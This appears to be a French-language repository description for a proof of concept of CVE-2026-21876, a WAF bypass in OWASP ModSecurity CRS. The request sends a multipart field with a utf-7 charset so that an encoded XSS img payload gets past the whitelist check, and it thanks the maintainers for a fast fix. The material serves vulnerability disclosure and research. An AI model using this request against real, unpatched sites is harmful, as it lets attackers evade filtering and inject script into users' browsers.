mefhika120/cve-2026-21876Preuve de concept minimale et conteneur Docker démontrant un contournement de WAF dans OWASP ModSecurity CRS via la gestion du jeu de caractères multipart, conduisant à la livraison d'une charge utile XSS.
Conteneur docker CVE-2026-21876 + PoC minimal.
Je tiens à remercier séparément @airween et @fzipi pour leur réponse rapide ! Le correctif de la vulnérabilité a été prêt en très peu de temps.
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
La valeur username n'est pas vérifiée pour les caractères qui ne figurent pas dans la liste blanche, ce qui conduit à un contournement du WAF.
